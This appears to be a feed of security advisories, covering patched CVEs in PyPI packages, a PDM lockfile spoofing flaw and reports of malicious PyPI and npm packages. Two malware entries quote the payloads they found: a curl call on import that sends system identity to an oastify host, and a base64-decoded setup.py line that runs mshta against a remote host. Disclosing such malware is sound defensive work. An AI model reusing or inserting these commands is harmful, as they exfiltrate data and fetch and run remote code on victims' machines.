PDM Trojan Lockfile

SummaryIt's possible to craft a malicious pdm.lock file that could allow e.g. an insider or a malicious open source project to appear to depend on a trusted PyPI project, but actually install another project. DetailsProject foo can be targeted by creating the project foo-2 and uploading the file...

ROOT-APP-PYPI-CVE-2026-25528 CVE-2026-25528 in rootio-langsmith - Patched by Root

Root has patched CVE-2026-25528 in the rootio-langsmith package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-48804 CVE-2026-48804 in rootio-python-socketio - Patched by Root

Root has patched CVE-2026-48804 in the rootio-python-socketio package for Root:PyPI. Multiple fixed versions available...

PYSEC-2026-607 Malicious code in pantheon-agents (PyPI)

Part of the "Hades" wave of the Shai-Hulud supply-chain campaign. On 2026-06-08, malicious phantom releases of pantheon-agents were published to PyPI using stolen credentials. The package executes a bundled JavaScript payload via the Bun runtime on import that harvests and exfiltrates credentials...

128autograder-ipython (1.0.0rc2), 3-04-2025-ttm (0.1.0) +6261 more potentially affected by CVE-2026-6658 via nbconvert (>=4.2.0, <=7.17.1)

nbconvert PYPI version =4.2.0, =0.5.0a0, =0.1.0, =1.0.3, =0.1.8, =0.1.0, =0.0.0, =1.0.0, =0.11.0, =0.11.2 and more Source cves: CVE-2026-6658 Source advisory: SNYK:PYTHON-NBCONVERT-17707798...

MAL-2026-6478 Malicious code in mi-test-99-tuapellido (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditional...

MAL-2026-6432 Malicious code in rstreams-metrics (npm)

The rstreams-metrics npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...

ROOT-APP-PYPI-CVE-2024-3651 CVE-2024-3651 in rootio-idna - Patched by Root

Root has patched CVE-2024-3651 in the rootio-idna package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-45409 CVE-2026-45409 in rootio-idna - Patched by Root

Root has patched CVE-2026-45409 in the rootio-idna package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-46338 CVE-2026-46338 in rootio-pymdown-extensions - Patched by Root

Root has patched CVE-2026-46338 in the rootio-pymdown-extensions package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-27199 CVE-2026-27199 in rootio-werkzeug - Patched by Root

Root has patched CVE-2026-27199 in the rootio-werkzeug package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2019-11236 CVE-2019-11236 in rootio-urllib3 - Patched by Root

Root has patched CVE-2019-11236 in the rootio-urllib3 package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2020-26137 CVE-2020-26137 in rootio-urllib3 - Patched by Root

Root has patched CVE-2020-26137 in the rootio-urllib3 package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2023-43804 CVE-2023-43804 in rootio-urllib3 - Patched by Root

Root has patched CVE-2023-43804 in the rootio-urllib3 package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2018-25091 CVE-2018-25091 in rootio-urllib3 - Patched by Root

Root has patched CVE-2018-25091 in the rootio-urllib3 package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2018-18074 CVE-2018-18074 in rootio-requests - Patched by Root

Root has patched CVE-2018-18074 in the rootio-requests package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-23949 CVE-2026-23949 in rootio-jaraco.context - Patched by Root

Root has patched CVE-2026-23949 in the rootio-jaraco.context package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2026-27459 CVE-2026-27459 in pyOpenSSL - Patched by Root

Root has patched CVE-2026-27459 in the pyOpenSSL package for Root:PyPI. Multiple fixed versions available...

ROOT-APP-PYPI-CVE-2025-8869 CVE-2025-8869 in rootio-pip - Patched by Root

Root has patched CVE-2025-8869 in the rootio-pip package for Root:PyPI. Multiple fixed versions available...

Malicious code in testpgagent (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f On pip install, setup.py line 19 calls execbase64.b64decode... whose decoded body is import os; os.system'cmd /c "mshta http://fixars.top"'. This...